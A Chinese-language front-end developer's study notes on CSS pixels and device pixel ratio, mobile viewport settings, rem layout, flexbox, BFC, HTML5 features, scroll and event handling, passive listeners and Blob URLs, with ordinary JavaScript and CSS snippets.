写在前面:平时开发中总是遇见相同的问题,但很多时候都需要重新查找相关资料才可以,不但浪费了时间,而且每次都有种重新开始的感觉。。。因此将这些常见问题总结在一起,后续再有相关问题,都将其归为一类进行总结对比学习。
参考:前端资源汇总(掘金)、你可能需要的前端知识点、中高级葵花宝典、JavaScript开发者应懂的33个概念、关于js你需要知道的、浏览器的工作原理幕后解密
显示设备相关
css像素
参考:css、物理、设备、独立设备像素
浏览器里的一切长度都是css像素为单位,css像素的单位是px(pixel像素的缩写),他是图像显示的基本单元,既不是一个确定的物理量,也不是一个点或者小方块,而是一个抽象概念。。。
注意:物理像素其实就等价于设备像素
在css规范中,单位有相对和绝对之分,而px就是一个相对单位,相对的是设备像素(device pixel)
在同一个设备或不同的设备上,每一个css像素所代表的物理像素是可以变化的。。。
不同的设备,图像基本采集单元是不同的,显示器上的物理像素等于显示器的点距,而打印机的物理像素等于打印机的墨点,而衡量二者的单位分别为ppi和dpi。
ppi:每英寸(2.54cm)多少像素数,放到显示器上说的是每英寸多少物理像素及显示器设备的点距。
dpi:每英寸(2.54cm)多少点
由于不同设备的物理像素的大小是不一样的,所以css规范认为,浏览器应该对css像素进行调节,使得浏览器中1css像素的大小在不同设备上看上去大小总是差不多的。。。为了达到这一点,浏览器可以直接根据设备的物理像素大小进行换算。
由于css像素是视角像素,所以在真正实现时,为了方便都是根据设备像素换算的,浏览器根据硬件设备能够直接获取css像素(也就是dpr)。
假设我们用pc浏览器打开一个页面,浏览器此时的宽度为800px,页面上有一个400px宽的块级容器,则此时块级容器占屏幕一半,若放大(cmd加上+)200%,也就是原来的两倍,此时块状容器则横向占满整个浏览器
另外body的样式属性zoom效果和(cmd加+)效果一样,只是如果用zoom修改了屏幕大小,需要再用尺寸/zoom才是真实的大小。。。
// getComputedStyle返回计算后的属性对象集合
document.body.style.zoom = 0.8
var zoomVal = window.getComputedStyle(document.body).zoom;
newHeight = window.innerHeight / zoomVal
此时我们没有调整浏览器窗口大小,也没有改变块状容器的css宽度,但是却看上去变大了一倍。。。这是因为我们把css像素放大了两倍(css像素代表的物理像素数是可以变化的)
正常情况下,css像素与屏幕像素是1:1的关系,但浏览器的放大操作让这个比例发生了变化,也就是现在1css像素 = 2个设备像素,而设备像素的密度是不会变化的,出厂便确定(单位pt,绝对单位),因此放大2倍的容器就占满了整个屏幕。
dpr:DPR = 设备像素 / css像素
其实,还有dip,也就是设备独立像素(顾名思义是独立于设备之外的像素),也叫逻辑像素,其实也就是css像素。。。
所以:CSS像素 = 设备独立像素 = 逻辑像素
在移动端浏览器及某些桌面浏览器中,window对象有devicePixelRatio
属性,也就是devicePixelRatio = 物理像素 / 独立像素
。在mac上打印这个值为2,而普通的浏览器是1,这就是所谓的Retina屏。。。另外需要注意,当缩放浏览器窗口后,在终端打印出来的devicePixelRatio会变化
看下图:
如果对于一个页面,我们分别放在不同devicePixelRatio的设备上,就会出现上图的效果。也就是说,高devicePixelRatio的设备上ppi更大,每个物理像素点更小更密集,因此此时显示就小又清晰。。。
然而在现实中,这两者效果却是一样的。这是因为Retina屏幕把2x2个像素当1个像素使用。比如原本44像素高的顶部导航栏,在Retina屏上用了88个像素的高度来显示。导致界面元素都变成2倍大小,反而看起来效果一样了,但画质更清晰。。。
1px像素边框问题
在非高倍屏上,其实css像素与物理像素(设备像素)比例是1:1,因此不会有常说的1px问题,但是到高倍屏上,1px这个css像素代表不再是1个设备像素,而是多个设备像素。。。因此会出现1px看起来粗的问题,想解决可以缩放,还可以border-shadow,还可以根据设备dpr动态设置border,还可以根据dpr动态设置view-port标签的intial-scale,maximum-scale,minmum-scale的值(1/dpr)等实现
其实问题就是1px表示的设备像素多了,因此想法让1px表示的减少即可,比如缩放,比如根据dpr动态设置
/* 1、这个后续会成为标准 */
.border { border: 1px solid #999 }
@media screen and (-webkit-min-device-pixel-ratio: 2) {
.border { border: 0.5px solid #999 }
}
@media screen and (-webkit-min-device-pixel-ratio: 3) {
.border { border: 0.333333px solid #999 }
}
/* 2、利用阴影 */
.border-1px{
box-shadow: 0px 0px 1px 0px red inset;
}
/* 3、利用伪类加transform(即缩放)*/
.scale-1px{
position: relative;
border:none;
}
.scale-1px:after{
content: '';
position: absolute;
bottom: 0;
background: #000;
width: 100%;
height: 1px;
-webkit-transform: scaleY(0.5);
transform: scaleY(0.5);
-webkit-transform-origin: 0 0;
transform-origin: 0 0;
}
/* 4、其实淘宝的策略也可解决,根据dpr动态设置initial-scale,maximum-scale,minimum-scale的值(1/dpr) */
HTML相关
viewport
首先,移动设备上的浏览器认为自己必须让所有的网站都能正常显示,即使是那些不是为移动设备设计的网站。。。那如何设置这个宽度呢?太窄了布局会错乱,太宽了会出现滚动条,什么又是不窄不宽呢?
因此有三种viewport来解决这些问题:
- layout viewport (document.documentElement.clientWidth)
- visual viewport (window.innerWidth)
- ideal viewport (设备不同,值不同)
layout是为了防止太窄,布局出现错乱规定的一个较宽的值。layout viewport 的宽度是大于浏览器可视区域的宽度的,所以我们还需要一个viewport来代表浏览器可视区域的大小,这个viewport叫做 visual viewport;但越来越多的网站为移动设备单独设计,因此需要一个完美适配移动设备的viewport,也就是不能缩放,不能出现滚动条,不能显示异常等。。。这个viewport就是ideal viewport,也就是理想viewport。
ideal viewport并不是一个固定的尺寸,不同的设备拥有不同的ideal viewport。所有的iphone的ideal viewport宽度都是320px,无论它的屏幕宽度是320还是640,也就是说,在iphone中,css中的320px就代表iphone屏幕的宽度。
是安卓设备就比较复杂了,有320px的,有360px的,有384px的等等,具体可参考:[各设备的理想viewport][androidViewportWidthSizeUrl]
利用meta控制viewport
移动设备默认的viewport是layout viewport,也就是那个比屏幕要宽的viewport,但在进行移动设备网站的开发时,我们需要的是ideal viewport。那么怎么才能得到ideal viewport呢?这就该轮到meta标签出场了。
meta viewport 标签首先是由苹果公司在其safari浏览器中引入的,目的就是解决移动设备的viewport问题。后来安卓以及各大浏览器厂商也都纷纷效仿,引入对meta viewport的支持,
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
该meta标签的作用是让当前viewport的宽度等于设备的宽度(此时viewport的宽度就是ideal viewport宽度了),同时不允许用户手动缩放。也许允不允许用户缩放不同的网站有不同的要求,但让viewport的宽度等于设备的宽度,这个应该是大家都想要的效果,如果你不这样的设定的话,那就会使用那个比屏幕宽的默认viewport,也就是说会出现横向滚动条。
注意:在iphone和ipad上,无论是竖屏还是横屏,宽度都是竖屏时ideal viewport的宽度。
<meta name="viewport" content="width=device-width">
<meta name="viewport" content="initial-scale=1">
其实上面两种写法效果一样,都可以把当前的viewport变为ideal viewport。这是因为initial-scale=1
只是不对当前页面缩放。。。但我们需要知道这个缩放是相对于谁的?答案就是ideal viewport
,因此相对于ideal viewport缩放是1,不正好就是ideal viewport的宽度了。。。
那如果出现下面二者同时存在情况呢?
<meta name="viewport" content="width=400, initial-scale=1">
答案是取二者中最大值。。。比如这里ideal viewport是480px,则取480px;
总结:最后,总结一下,要把当前的viewport宽度设为ideal viewport的宽度,既可以设置 width=device-width,也可以设置 initial-scale=1,但这两者各有一个小缺陷,就是iphone、ipad以及IE会横竖屏不分,通通以竖屏的ideal viewport宽度为准。所以,最完美的写法应该是,两者都写上去,这样就 initial-scale=1 解决了 iphone、ipad的毛病,width=device-width则解决了IE的毛病(IE不认initial-scale属性):
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
关于缩放及initial-scale的默认值
前面我们知道缩放是相对于 ideal viewport
的,缩放值越大,当前的viewport的宽度就越小。比如在iphone中,ideal viewport的宽度是320px,如果设置initial-scale=2
,此时viewport的宽度变为只有160px。。。感觉160比320小了,但是我们要知道,px是个动态单位,因此放大2倍后,1px相当于之前的2倍。。。
所以:visual viewport宽度 = ideal viewport宽度 / 当前缩放值
多数浏览器都符合这个理论,但是安卓上的原生浏览器以及IE有些问题。安卓自带的webkit浏览器只有在 initial-scale = 1 以及没有设置width属性时才是表现正常的,也就相当于这理论在它身上基本没用;而IE则根本不甩initial-scale这个属性,无论你给他设置什么,initial-scale表现出来的效果永远是1。
好了,现在再来说下 initial-scale 的默认值问题,就是不写这个属性的时候,它的默认值会是多少呢?很显然不会是1,因为当 initial-scale = 1 时,当前的 layout viewport 宽度会被设为 ideal viewport 的宽度,但前面说了,各浏览器默认的 layout viewport 宽度一般都是980啊,1024啊,800啊等等这些个值,没有一开始就是 ideal viewport 的宽度的,所以 initial-scale 的默认值肯定不是1。
结论:在iphone和ipad上,无论你给viewport设的宽的是多少,如果没有指定默认的缩放值,则iphone和ipad会自动计算这个缩放值,以达到当前页面不会出现横向滚动条(或者说viewport的宽度就是屏幕的宽度)的目的。
再来看看淘宝针对不同设备做的scale处理(其实主要针对的是iphone,adroid的一直为1):
var dpr = 0;
var scale = 0;
var match = document.querySelector('meta[name="viewport"]').getAttribute('content').match(/initial\-scale=([\d\.]+)/)
if (match) {
scale = parseFloat(match[1]);
dpr = parseInt(1 / scale);
}
if (!dpr && !scale) {
var isAndroid = win.navigator.appVersion.match(/android/gi);
var isIPhone = win.navigator.appVersion.match(/iphone/gi);
var devicePixelRatio = win.devicePixelRatio;
if (isIPhone) {
// iOS下,对于2和3的屏,用2倍的方案,其余的用1倍方案
if (devicePixelRatio >= 3 && (!dpr || dpr >= 3)) {
dpr = 3;
} else if (devicePixelRatio >= 2 && (!dpr || dpr >= 2)){
dpr = 2;
} else {
dpr = 1;
}
} else {
// 其他设备下,仍旧使用1倍的方案
dpr = 1;
}
scale = 1 / dpr;
}
var doc = win.document;
var docEl = doc.documentElement;
docEl.setAttribute('data-dpr', dpr);
if (!metaEl) {
metaEl = doc.createElement('meta');
metaEl.setAttribute('name', 'viewport');
metaEl.setAttribute('content', 'initial-scale=' + scale + ', maximum-scale=' + scale + ', minimum-scale=' + scale + ', user-scalable=no');
if (docEl.firstElementChild) {
docEl.firstElementChild.appendChild(metaEl);
} else {
var wrap = doc.createElement('div');
wrap.appendChild(metaEl);
doc.write(wrap.innerHTML);
}
}
在高分屏下,dpr越大,scale越小。。。由公式:visual viewport宽度 = ideal viewport宽度 / 当前缩放值,可以得到visual viewport越大,这样便和设计稿尺寸吻合了,同一个图片在不同手机上看着就大小一样了。。。???
参考:[淘宝具体实现flexible过程][taoBaoFlexibleUrl]
rem布局
(function (doc, win) {
var docEl = doc.documentElement,
resizeEvt = 'orientationchange' in window ? 'orientationchange' : 'resize',
recalc = function () {
var clientWidth = docEl.clientWidth;
if (!clientWidth) return;
let array = navigator.userAgent.split("&");
// 还可以处理各个的兼容,比如华为P20手机兼容
if(navigator.userAgent.indexOf("HUAWEIEML-AL00") >= 0 && array.length >=2){
clientWidth = 313;
}
// 屏幕宽为750px时,1rem = 100px;
// 而我们公司的设计稿就是按750px的尺寸做的,因此可以直接转换
// 比如 10px 就是 0.1rem
docEl.style.fontSize = 100 * (clientWidth / 750) + 'px';
};
if (!doc.addEventListener) return;
win.addEventListener(resizeEvt, recalc, false);
doc.addEventListener('DOMContentLoaded', recalc, false);
})(document, window);
// 移动端时,在input或textarea获取焦点后,一般会软键盘弹起
// 为了防止软键盘挡住input或textarea,可以设置input或textarea自动滚动到可视区域
if ( isMobile ) {
if ( ios_version.length > 1 && parseInt( ios_version[ 0 ] ) >= 11 ) {
//ios 11 以上先不执行
} else {
document.body.addEventListener( 'click', function ( event ) {
var element = event.target;
var tags = {
'INPUT': 1,
'TEXTAREA': 1,
};
if ( ( element.tagName in tags ) ) {
setTimeout( function () {
// 将不在浏览器窗口的可见区域内的元素滚动到浏览器窗口的可见区域。 如果该元素已经在浏览器窗口的可见区域内,则不会发生滚动。
element.scrollIntoViewIfNeeded();
}, 400 );
}
}, false );
}
Chrome排版引擎现在是blink,这一点从哪里可以看到呢?我在76版本Chrome的navigator属性值里只看到了AppleWebkit,这是为什么?
UserAgent,又称为UA,UA是浏览器的身份证,通常,在发送HTTP请求时,UA会附带在HTTP的请求头中user-agent字段中,这样服务器就会知道浏览器的基础信息,然后服务器会根据不同的UA返回不同的页面内容,比如手机上返回手机的样式,PC就返回PC的样式。
服务器会根据不同的UA来针性的设计不同页面,所以当出了一款新浏览器时,他如果使用自己独一无二的UA,那么之前的很多服务器还需要针对他来做页面适配,这显然是不可能的,比如Chrome发布时他会在他的UA中使用“Mozilla” ,“AppleWebKit”,等关键字段,用来表示他同时支持Mozilla和AppleWebKit,然后再在最后加上他自己的标示,如Chrome/xxx。
常见html问题点
// charset是定义的外部脚本文件中所使用的字符编码
// type规定脚本的MIME类型,媒介类型/子类型
// html5规范中,现代浏览器默认的脚本就是javascript,所以如果标签内是js可以省略,但是如果不是js就需要添加
<script type="text/javascript" src="myscripts.js" charset="UTF-8"></script>
其实:MIME是多用途Internet邮件扩展(Multipurpose Internet Mail Extensions)类型 ,由类型与子类型两个字符串,中间用’/’分割而组成,不允许空格。
语法结构:type/subtype
- text 表明文件是普通文本,理论上是人类可读,text/plain, text/html, text/css, text/javascript
- 表明是某种图像。不包括视频,但是动态图(比如动态gif)也使用image类型 image/gif, image/png, image/jpeg, image/bmp, image/webp, image/x-icon, image/vnd.microsoft.icon
- audio 表明是某种音频文件,audio/midi, audio/mpeg, audio/webm, audio/ogg, audio/wav
- video 表明是某种视频文件,video/webm, video/ogg
- application 表明是某种二进制数据 application/octet-stream, application/pkcs12, application/vnd.mspowerpoint, application/xhtml+xml, application/xml, application/pdf
上面是对立类型,其实还有Multipart类型,如multipart/form-data
multipart/byteranges
等。Multipart 类型表示细分领域的文件类型的种类,经常对应不同的 MIME 类型。这是复合文件的一种表现方式。multipart/form-data 可用于联系 HTML Forms 和 POST 方法,
常用布局方式
flex:
- flex-direction 伸缩流方向
(row横(默认值) | row-reverse | column |column-reverse)
- flex-wrap 伸缩-换行
(nowrap(默认值) | wrap | wrap-reverse)
- justify-content 主轴对齐及空间分配
(flex-start(默认值) | flex-end | center |space-between | space-around | space-evenly)
- align-items 侧轴上项目对齐方式
(stretch(默认值) | center | flex-end | baseline | flex-start)
- align-content 堆栈伸缩行
(stretch(默认值) | flex-start | center |flex-end | space-between | space-around | space-evenly)
- align-self 侧轴上单个项目对齐方式
- flex 伸缩性
- flex-basis 伸缩-基准值
- flex-flow伸缩流的方向与换行
- flex-grow伸缩-扩展基数
- flex-shrink 伸缩-收缩比率
- order 伸缩-顺序
// flex实现table高度只适应
// 比如页面里有两个部分,头部和table,要求table高度自适应
// 可以对父元素设置如下(注意height:100%需要显式指定):
display:flex;
flex-direction:column;
height:100%;
// 然后table元素设置如下:
flex: 1;
// 其实就是按比例自适应填满剩余空间
CSS相关
css权重
// !important>行内样式>ID选择器 > 类选择器 | 属性选择器 | 伪类选择器 > 元素选择器
margin collapsing
块级元素的上外边距和下外边距有时会合并(或折叠)为一个外边距,其大小取其中大者,可理解为外边距折叠或外边距合并,浮动元素和绝对定位元素的外边距不会折叠
几种折叠场景:
- 相邻元素之间(除非后面的元素清除之前的浮动)
- 父元素与其第一个或最后一个子元素之间
- 空的块级元素
其实说到底,只要margin-top和margin-bottom之间没有一些东西隔开,就会发生合并。。。而这里的一些东西可以是:边框、内边距、行内内容、height、min-height 等。
参考:margin合并(mdn)
BFC(Block Formatting Context)
块格式化上下文是布局过程中生成块级盒子的区域,只有块级盒子才可以参与,也是浮动元素与其他元素的交互限定区域。
常见的文档流:标准流、定位流、浮动流。。。而标准流就是BFC中的FC,另外还有IFC(行级格式化上下文)、GFC(网格布局格式化上下文)、FFC(自适应格式化上下文)。
可以通俗的理解:BFC为某个元素的一个css属性,只不过这个属性不能被开发者显式的修改,拥有这个属性的元素对内部元素和外部元素会表现出一些特性,这就是BFC
触发生成BFC的条件:
- 根元素,即HTML元素
- float的值不为none
- overflow的值不为none
- display的值为inline-block、table-cell、table-caption
- position的值为absolute或fixed
一些css技巧
参考:css常用选择器(w3c)
/* 同时选中在(父元素的)子元素列表中,最后一个给定类型的元素p和a元素 */
p,
a:last-of-type
{
margin-bottom: 0;
}
HTML5及CSS3相关
参考:HTML5(mdn)、h5和css3新特性一览、前端工程师手册
HTML5:
- 一个新版本的html语言,具有新的元素,属性和行为
- 有更大的技术集,允许更多多样化和强大的网站和应用程序。
主要改变有一下几个方面:
- 语义
- 通信
- 离线 & 存储
- 多媒体
- 2d/3d 图形和效果
- 性能和集成
- 设备访问
- 样式设计
语义:
- 语义之新区块和段落元素
<section>, <article>, <nav>, <header>, <footer>, <aside> 和 <hgroup>.
能让你更恰当地描述你的内容是什么 <audio> 和 <video>
元素嵌入和允许操作新的多媒体内容。- 表单改进,强制校验API,一些新的属性,一些新的
<input>
元素type属性值(placeholder,required,pattern,min,max,step,autofocus,multiple
) ,新的<output>
元素。 - 新的语义元素,除了上面的,还有例如
<mark>, <figure>, <figcaption>, <data>, <time>, <output>, <progress>, 或者 <meter>和<main>
,这增加了有效的 HTML5 元素的数量。
通信:
webSocket
是h5开始提供的一种在单个tcp连接上进行全双工通讯的协议;WebRTC
即时通信,允许连接到其他人,直接在浏览器中控制视频会议,而不需要一个插件或是外部的应用程序。Server-sent events(SSE)
允许服务器向客户端推送事件,而不是仅在响应客户端请求时服务器才能发送数据的传统范式。
离线 & 存储:
- 离线资源(应用程序缓存),火狐全面支持离线资源规范,其他浏览器部分支持、
- Firefox 3 支持 WHATWG 在线和离线事件,这可以让应用程序和扩展检测是否存在可用的网络连接,以及在连接建立和断开时能感知到。
- Web Storage存储(sessionStorage,localStorage)让web应用程序在客户端存储结构化数据
- indexedDB在浏览器中存储大量结构化数据,并且能够在这些数据上使用索引进行高性能检索
注意:
- window.sessionStorage是会话期间(关闭浏览器会话结束,刷新后也有效)
- LocalStorage 在 2.5MB 到 10MB 之间(各家浏览器不同),而且不提供搜索功能,不能建立自定义的索引。
- Cookie的大小不超过4kb,且每次请求都会发送回服务器
- IndexedDB 不属于关系型数据库(不支持 SQL 查询语句),更接近 NoSQL,MongoDB等非关系型数据库。
- 关系型是指采用关系模型(二维表格模型)组织数据的数据库,具有事务一致性(任何人看到的数据都一致),也因此读写性能稍差
- 非关系型大多开源,大多以键值对存储,且结构不固定,每一个元组可以有不一样的字段,每个元组可以根据需要增加一些自己的键值对,这样就不会局限于固定的结构,可以减少一些时间和空间的开销。
多媒体:
<audio> 和 <video>
元素嵌入并支持新的多媒体内容的操作。- 使用 Camera API,允许使用,操作计算机摄像头,并从中存储图像。
2d/3d 图形和效果:
- canvas
- WebGL 通过引入了一套非常地符合 OpenGL ES 2.0 并且可以用在
HTML5<canvas>
元素中的 API 给 Web 带来了 3D 图像功能。 - 一个基于 XML(Extensible Markup Language,可扩展标记语言,设计之初用来传输和存储数据,而html用来显示数据) 的可以直接嵌入到 HTML 中的矢量图像格式。
性能和集成:
- web workers可以把js运算委托给后台线程,通过允许这些活动以防止使交互型事件变得缓慢
- 即时编译的js引擎功能更加强大,性能更杰出
- History API允许对浏览器历史记录进行操作
- contentEditable 属性:把你的网站改变成 wiki !
- 拖放,HTML5 的拖放 API 能够支持在网站内部和网站之间拖放项目。
- requestAnimationFrame下次重绘之前调用指定的回调函数更新动画以获得更优性能
- 全屏API,选择全屏展示的元素(如:video,html等),调用Ele.requestFullscreen()
- 在线和离线事件,navigator.onLine为true表示在线,否则离线
// 1. 时间间隔并不好拿捏,设置太短浏览器重绘频率太快会产生性能问题,太慢的话又显得像PPT不够平滑,业界推荐的时间间隔是16.66...(显示器刷新频率是60Hz,1000ms/60)
// 2. 浏览器UI线程堵塞问题,如果UI线程之中有很多待完成的渲染任务,所要执行的动画就会被搁置。
// 模拟requestAnimationFrame
let lastTime = 0;
if ( !window.requestAnimationFrame ) {
window.requestAnimationFrame = function ( callback, element ) {
var currTime = new Date().getTime();
var timeToCall = Math.max( 0, 16 - ( currTime - lastTime ) );
var id = window.setTimeout( function () { callback( currTime + timeToCall ); }, timeToCall );
lastTime = currTime + timeToCall;
return id;
};
}
// 浏览器自动
var start = null;
var element = document.getElementById('SomeElementYouWantToAnimate');
// element.style.position = 'absolute';
function step(timestamp) {
if (!start) start = timestamp;
var progress = timestamp - start;
element.style.left = Math.min(progress / 10, 200) + 'px';
if (progress < 2000) {
window.requestAnimationFrame(step);
}
}
// 利用浏览器的刷新频率自动执行step函数,其实相当于定时器
window.requestAnimationFrame(step);
设备访问:
- 使用 Camera API,允许使用,操作计算机摄像头,并从中存储图像。
- 对于用户按下触控屏的事件作出反应的处理程序
- 地理位置定位navigator.geolocationt对象提供,返回低精度位置
// getCurrentPosition是异步操作,回调函数对返回的数据进行处理
navigator.geolocation.getCurrentPosition(function(position) {
do_something(position.coords.latitude, position.coords.longitude);
});
- 检测设备方向。
// DeviceOrientationEvent是加速度传感器检测到设备在方向上发生变化时触发
window.addEventListener("deviceorientation", handleOrientation, true);
// DeviceMotionEvent是监听的加速度变化而不是方向
window.addEventListener("devicemotion", handleMotion, true);
样式设计:
box-shadow
设置边框阴影,还可以设置多背景border-image
边框图片,border-radius
设置圆角- css Transitions/Transform/@keyframes
- @font-face规则自定义字体
- 多栏布局及css灵活方框布局
主流浏览器兼容性
- 各浏览器默认样式不同(可用Normalize.css抹平,或margin:0;padding:0但误伤较多)
- ie9以下不识别HTML5标签(可用条件注释引入html5shiv.js)
<!-- 注意:条件注释只适用于IE -->
<!-- lt小于、gt大于、lte小于等于、gte大于等于、!不等于 -->
<!--[if lt IE 9]>
<script type="text/javascript" src="https://cdn.bootcss.com/html5shiv/3.7.3/html5shiv.min.js"></script>
<![endif]-->
- 浏览器css兼容前缀(o(Opera)、ms(IE)、moz(Firefox)、webkit(Chrome、Safari、新版Opera))
- 页面滚动高度,二者只会同时有一个有值
// 获取窗体的高度
var windowHeight = window.innerHeight
// 前者主要兼容pc端,后者主要针对移动端(新document.s自动兼容)
var scroll_Top = document.documentElement.scrollTop || document.body.scrollTop;
// scrollingElement 新标准,标准模式下返回document.documentElement
// 怪异模式下,返回body,因此可以不用再向上面写两个了(注意兼容)
// 在ie9之后的浏览器(pc及移动),垂直方向的偏移
var ie_scroll_top = window.pageYOffset
// 获取元素高度:clientHeight不包括边框
// offsetHeight包括边框且获取的是整数位,还有ele.getBoundingClientRect().height这个可以精确到小数位,都兼容ie6+
// 获取元素滚动高度:scrollTop即可
// 判断页面滚动到底部
window.addEventListener('scroll', () => {
// 滚动条在Y轴上的滚动距离
var scrollTop = document.documentElement.scrollTop || document.body.scrollTop;
// 文档的总高度
var scrollHeight = document.documentElement.scrollHeight || document.body.scrollHeight;
// 浏览器视口的高度
var clientHeight = document.documentElement.clientHeight || document.body.clientHeight;
// 滚动距离+窗口高度 == 文档的总高度
if(scrollTop + clientHeight == scrollHeight){
console.log('到底部了')
}
})
// 元素滚动到页面的指定位置,
// 首先需要根据e.target找到滚动的元素,然后用该元素调用scrollTo(xpos,ypos)
// 有个库Scrollparent,专门用来找滚动元素,但效果待验证。。。
// 原理:找到传入的元素的祖先元素,然后判断祖先元素的overflow相关的属性值,若属性值包含auto或scroll就为滚动元素。
// 当前的元素滚动到浏览器窗口的可视区域内。
Element.scrollIntoView()
// 参数有三种方式
element.scrollIntoView(); // 等同于element.scrollIntoView(true)
element.scrollIntoView(alignToTop); // Boolean型参数
element.scrollIntoView(scrollIntoViewOptions); // Object型参数
// 如果为true,元素的顶端将和其所在滚动区的可视区域的顶端对齐。 相应的 scrollIntoViewOptions: {block: "start", inline: "nearest"}。这是这个参数的默认值。
// 如果为false,元素的底端将和其所在滚动区的可视区域的底端对齐。相应的scrollIntoViewOptions: {block: "end", inline: "nearest"}。
// scrollIntoViewOptions包含三个选项:
// behavior,定义动画过渡效果, "auto"或 "smooth" 之一。默认为 "auto"。
// block,定义垂直方向的对齐, "start", "center", "end", 或 "nearest"之一。默认为 "start"。
// inline,定义水平方向的对齐, "start", "center", "end", 或 "nearest"之一。默认为 "nearest"。
// 一般项目里直接,使用如下即可
Element.scrollIntoView({ behavior: 'smooth' })
// 下拉刷新
// 1. 当前手势滑动位置与初始位置差值大于零时,提示正在进行下拉刷新操作;
// 2. 下拉到一定值时,显示松手释放后的操作提示;
// 3. 下拉到达设定最大值松手时,执行回调,提示正在进行更新操作。
( function ( window ) {
var _element = document.getElementById( 'refreshContainer' ),
_refreshText = document.querySelector( '.refreshText' ),
_startPos = 0,
_transitionHeight = 0;
_element.addEventListener( 'touchstart', function ( e ) {
console.log( '初始位置:', e.touches[ 0 ].pageY );
_startPos = e.touches[ 0 ].pageY;
_element.style.position = 'relative';
_element.style.transition = 'transform 0s';
}, false );
_element.addEventListener( 'touchmove', function ( e ) {
console.log( '当前位置:', e.touches[ 0 ].pageY );
_transitionHeight = e.touches[ 0 ].pageY - _startPos;
if ( _transitionHeight > 0 && _transitionHeight < 60 ) {
_refreshText.innerText = '下拉刷新';
_element.style.transform = 'translateY(' + _transitionHeight + 'px)';
if ( _transitionHeight > 55 ) {
_refreshText.innerText = '释放更新';
}
}
}, false );
_element.addEventListener( 'touchend', function ( e ) {
_element.style.transition = 'transform 0.5s ease 1s';
_element.style.transform = 'translateY(0px)';
_refreshText.innerText = '更新中...';
// todo...
}, false );
} )( window );
// e.screenX 是鼠标距离物理屏幕左边缘的距离
// e.clientX 是鼠标距离页面左边缘的距离
- 绑定事件/移除事件/阻止默认事件/阻止冒泡/消除滚动及滚轮事件
// 给窗体绑定滚动事件,直接给window添加就行(document有兼容,body及documentElement不反应)
window.addEventListener('scroll',function(){
console.log('window滚动了') // 有效
})
document.addEventListener("scroll",function(){
console.log[("document滚动了") // 有效
})
document.body.addEventListener("scroll",function(){
console.log("body滚动了") // 无效
})
document.documentElement.addEventListener("scroll",function(){
console.log("html滚动了") // 无效
})
[document,window,document.documentElement,document.body].forEach(function(item){
item.addEventListener('scroll',function(){
console.log(`${item} 滚动了`)
})
})
{
// 添加事件句柄
addHandler: function(elem, type, listener) {
if (elem.addEventListener) {
elem.addEventListener(type, listener, false);
} else if (elem.attachEvent) {
elem.attachEvent('on' + type, listener);
} else {
// 在这里由于.与'on'字符串不能链接,只能用 []
elem['on' + type] = listener;
}
},
// 移除事件句柄
removeHandler: function(elem, type, listener) {
if (elem.removeEventListener) {
elem.removeEventListener(type, listener, false);
} else if (elem.detachEvent) {
elem.detachEvent('on' + type, listener);
} else {
elem['on' + type] = null;
}
},
// 取消默认行为
preventDefault: function(event) {
if (event.preventDefault) {
event.preventDefault();
} else {
event.returnValue = false;
}
},
// 阻止事件冒泡
stopPropagation: function(event) {
if (event.stopPropagation) {
event.stopPropagation();
} else {
event.cancelBubble = true;
}
},
// 阻止滚动及滚轮事件
stopScrollAndMousewheel: function(e){
['scroll','mousewheel'].forEach((item) => {
window.addEventListener(item,(e) => {
e.preventDefault && e.preventDefault();
e.returnValue = false; // 已废除(但有旧浏览器支持),用e.preventDefault()代替
e.stopPropagation && e.stopPropagation();
return false;
})
})
},
}
passive特性
Web开发者通过一个新的属性passive来告诉浏览器,当前页面内注册的事件监听器内部是否会调用preventDefault函数来阻止事件的默认行为,以便浏览器根据这个信息更好地做出决策来优化页面性能。当属性passive的值为true的时候,代表该监听器内部不会调用preventDefault函数来阻止默认滑动行为,Chrome浏览器称这类型的监听器为被动(passive)监听器。
addEventListener可以传递第三个参数{passive: true},它表示 listener 永远不会调用 preventDefault()。如果 listener 仍然调用了这个函数,客户端将会忽略它并抛出一个控制台警告。
其实就是告诉浏览器,我的事件里不会调用preventDefault,你就大胆滚动就好了。即使调用了,也不会阻断程序运行。但这个特性还不能完全兼容,需要配合下面的polyfill,对于不支持的浏览器,传false(冒泡阶段触发,默认值)或true即可。
// Test via a getter in the options object to see
// if the passive property is accessed
// supportsPassive.js
export let supportsPassive = false
if (typeof window !== 'undefined') {
supportsPassive = false
try {
var opts = Object.defineProperty({}, 'passive', {
get () {
supportsPassive = true
},
})
window.addEventListener('test', null, opts)
} catch (e) {}
}
// Use our detect's results.
// passive applied if supported, capture will be false either way.
import { supportsPassive } from './supportsPassive';
elem.addEventListener(
'scroll',
fn,
supportsPassive ? { passive: true } : false
);
blob
js本身是没有处理二进制的能力的,但是可以通过js中的ArrayBuffer和 Blob
来达到操作二进制的目的。
一般来说,如果是为了计算,会使用 ArrayBuffer,如果是为了转换,会使用Blob。比如你想把一种类型转换成另一种类型,或者js对象转成其他类型,就可以用Blob
Blob 对象表示一个不可变、原始数据的类文件对象。Blob 表示的不一定是JavaScript原生格式的数据。File 接口基于Blob,继承了 blob 的功能并将其扩展使其支持用户系统上的文件。
Blob,Binary Large Object
的缩写,代表二进制类型的大对象。在Web中,Blob类型的对象表示不可变的类似文件对象的原始数据,通俗点说,就是Blob对象是二进制数据,但它是类似文件对象的二进制数据,因此可以像操作File对象一样操作Blob对象,实际上,File继承自Blob。
// 返回一个新创建的 Blob 对象,其内容由参数中给定的数组串联组成
Blob(blobParts[, options])
// 如用字符串构建一个 blob
var debug = {hello: "world"};
var blob = new Blob([JSON.stringify(debug, null, 2)], {type : 'application/json'});
为什么使用blob呢?
Blob URL / Object URL
是一种伪协议,允许Blob和File对象用作图像,下载二进制数据链接等的URL源。
例如,不能处理Image对象的原始字节数据,因为它不知道如何处理它。它需要例如图像(二进制数据)通过URL加载。这适用于任何需要URL作为源的东西。不用上传二进制数据,而是通过URL提供回来,最好使用额外的本地步骤来直接访问数据而无需通过服务器。
对于编码为Base-64的字符串的Data-URI也是更好的选择。Data-URI的问题是每个char在JavaScript中占用两个字节。最重要的是,由于Base-64编码增加了33%。Blob是纯粹的二进制字节数组,它不像Data-URI那样具有任何重要的开销,这使得它们处理速度越来越快。
项目中:后端先返回文件的列表,列表里有文件的id,然后渲染到页面上,然后再点击的时候将拿到的id再去请求后台的真正的合同,这个合同是字符串格式,先转成blob格式,然后再转成url格式,再作为iframe的src填入。。。
// result就是字符串格式的合同文件
const blob = new Blob([result], { type: 'text/html' });
